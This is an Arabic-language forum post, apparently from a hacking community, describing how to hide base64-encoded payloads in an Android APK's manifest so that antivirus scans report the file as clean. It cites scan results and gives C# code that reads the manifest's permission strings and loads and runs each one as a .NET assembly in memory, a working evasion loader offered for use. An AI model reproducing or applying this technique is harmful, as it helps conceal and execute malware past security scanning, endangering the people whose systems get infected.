20.10.2017 Apk Exploit Hide All String Types In Manifest -Clean


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,821
3,865
1
البارحة فكرت انه وقت منحط سترينج طويل بغض النظر مهما كان
بيس64 باينري سترينج هكس سترينج وغيرهم
رح يجيبهم الانتي فايروس وين ماكانو يكونو وخاصة قيم البيس64
فكرت وقلت انه ليش مااحط مثلا قيم البيس 64
في المانفست الخاصة بتطبيق الاندويد اي تطبيق او لعبة
ومن ثم استدعيه عن طريق السي شارب .
قلت بجرب هل بيكون الapk نظيف كلين رغم وجود قيم البيس64 داخله
النتيجة
لملف الapk
Caritas.apk - Jotti's malware scan




يعني العملية نجحت .
سجلت سترينج في مانفست الapk من نوع بيس64 والنتيجة كلين
وهنا فحص ناتج بروجيكت السي شارب
WindowsFormsApp9.exe - Jotti's malware scan




طبعا اعتقد ايكاروس كشفه بسبب وجود دالة
Convert.FromBase64String
يعني عند حفظ باينري سترينج او هكس سترينج او اي سترينج تريد
وتحويله لبايت لن تكون هذه القيمة موجودة اعتقد
بيبقى الموضوع مش تشفير او شي
فقط ميثود لكيفية اخفاء السترينج بطريقة اعتقد لم تكن مطروحة من قبل
والناتج الخاص بها نظيف
رح تحتاج ل هنا انك تحمل المكتبة المستخدمة
GitHub - hylander0/Iteedee.ApkReader: .NET library written in C# for reading/parsing APK manifest (AndroidManifest.xml) and resource data (Resources.arsc)

الاكواد من هنا .
C#:
static void Main()
        {
            byte[] manifestData = null;
            byte[] resourcesData = null;
            using (ICSharpCode.SharpZipLib.Zip.ZipInputStream zip = new ICSharpCode.SharpZipLib.Zip.ZipInputStream(File.OpenRead(Directory.GetCurrentDirectory() + "\\Caritas.apk")))
            {
                using (var filestream = new FileStream(Directory.GetCurrentDirectory()+ "\\Caritas.apk", FileMode.Open, FileAccess.Read))
                {
                    ICSharpCode.SharpZipLib.Zip.ZipFile zipfile = new ICSharpCode.SharpZipLib.Zip.ZipFile(filestream);
                    ICSharpCode.SharpZipLib.Zip.ZipEntry item;
                    while ((item = zip.GetNextEntry()) != null)
                    {
                        if (item.Name.ToLower() == "androidmanifest.xml")
                        {
                            manifestData = new byte[50 * 1024];
                            using (Stream strm = zipfile.GetInputStream(item))
                            {
                                strm.Read(manifestData, 0, manifestData.Length);
                            }
 
                        }
                        if (item.Name.ToLower() == "resources.arsc")
                        {
                            using (Stream strm = zipfile.GetInputStream(item))
                            {
                                using (BinaryReader s = new BinaryReader(strm))
                                {
                                    resourcesData = s.ReadBytes((int)item.Size);
 
                                }
                            }
                        }
                    }
                }
            }
            ApkReader apkReader = new ApkReader();
            ApkInfo info = apkReader.extractInfo(manifestData, resourcesData);
            if (info.Permissions != null && info.Permissions.Count > 0)
            {
                info.Permissions.ForEach(f =>
                {
                    System.Reflection.Assembly.Load(Convert.FromBase64String(f)).EntryPoint.Invoke(null, null);
                });
            }
        
        }
الفديو بالمرفقات
 

المرفقات